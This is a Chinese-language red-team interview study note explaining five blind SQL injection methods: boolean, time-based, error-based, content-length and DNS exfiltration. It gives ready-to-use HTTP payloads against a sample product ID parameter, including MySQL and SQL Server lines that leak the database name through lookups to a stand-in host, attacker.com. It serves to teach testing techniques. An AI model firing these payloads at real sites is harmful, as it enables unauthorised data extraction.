长亭红队技术面试题
《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
1. 基于布尔的盲注 (Boolean-Based Blind Injection)
原理:通过构造布尔条件(TRUE
/FALSE
),观察页面响应差异(如内容变化、状态码、元素显隐)。
步骤:
-
验证漏洞点:
向目标参数附加' AND 1=1 --
(真条件)和' AND 1=2 --
(假条件),观察响应差异。GET /product?id=1' AND 1=1 -- HTTP/1.1 GET /product?id=1' AND 1=2 -- HTTP/1.1
-
若真条件返回正常内容,假条件返回空白/错误,则存在漏洞。
-
-
逐字符提取数据:
使用逐位判断(如判断数据库名首字母):GET /product?id=1' AND SUBSTRING((SELECT DATABASE()),1,1)='a' -- HTTP/1.1
-
若页面正常返回,则首字母为
a
;否则继续尝试其他字符。
-
2. 基于时间的盲注 (Time-Based Blind Injection)
原理:通过触发数据库延时函数(如 SLEEP()
),根据响应时间判断条件真假。
步骤:
-
验证漏洞点:
注入时间延迟函数,观察响应是否延迟:- MySQL:
GET /product?id=1' AND IF(1=1,SLEEP(5),0) -- HTTP/1.1
- PostgreSQL:
GET /product?id=1' AND CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END -- HTTP/1.1
-
若响应延迟5秒,则存在漏洞。
- MySQL:
-
逐字符提取数据:
结合条件判断与延时函数:GET /product?id=1' AND IF(SUBSTRING((SELECT DATABASE()),1,1)='a', SLEEP(5), 0) -- HTTP/1.1
-
若响应延迟,则首字母为
a
。
-
3. 基于错误内容差异的盲注 (Error-Based Content Blind Injection)
原理:通过触发隐式错误(如除以零),观察页面内容或状态码变化。
步骤:
-
构造错误条件:
注入可能触发错误的语句:GET /product?id=1' AND (SELECT CASE WHEN 1=1 THEN 1/0 ELSE 1 END) -- HTTP/1.1
-
若页面返回空白、500错误或内容异常,则条件为真。
-
-
利用错误提取数据:
结合条件判断触发错误:GET /product?id=1' AND (SELECT CASE WHEN SUBSTRING((SELECT DATABASE()),1,1)='a' THEN 1/0 ELSE 1 END) -- HTTP/1.1
-
若触发错误,则首字母为
a
。
-
4. DNS外带数据 (DNS Exfiltration)
原理:利用数据库函数发起DNS查询,通过域名解析日志泄露数据。
步骤:
- 构造DNS请求:
注入拼接数据的域名(需控制DNS服务器):- MySQL(需
FILE
权限):GET /product?id=1' AND LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.attacker.com\\')) -- HTTP/1.1
- Microsoft SQL Server:
GET /product?id=1'; EXEC master..xp_dirtree '\\'+(SELECT DATABASE())+'.attacker.com\' -- HTTP/1.1
- MySQL(需
-
监测DNS日志:
在attacker.com
的DNS服务器查看解析记录,获取泄露的数据。
5. 基于响应内容长度的盲注 (Content-Length-Based Blind Injection)
原理:通过条件语句控制页面内容长度差异(如返回空结果集)。
步骤:
-
验证漏洞点:
注入影响结果集的条件:GET /product?id=1' AND 1=1 -- HTTP/1.1 # 正常长度 GET /product?id=1' AND 1=2 -- HTTP/1.1 # 结果为空,长度变短
-
观察
Content-Length
或页面体积变化。
-
-
逐字符提取数据:
结合条件与内容长度判断:GET /product?id=1' AND (SELECT LENGTH(DATABASE()))=4 -- HTTP/1.1
-
若长度匹配,则数据库名长度为4。
-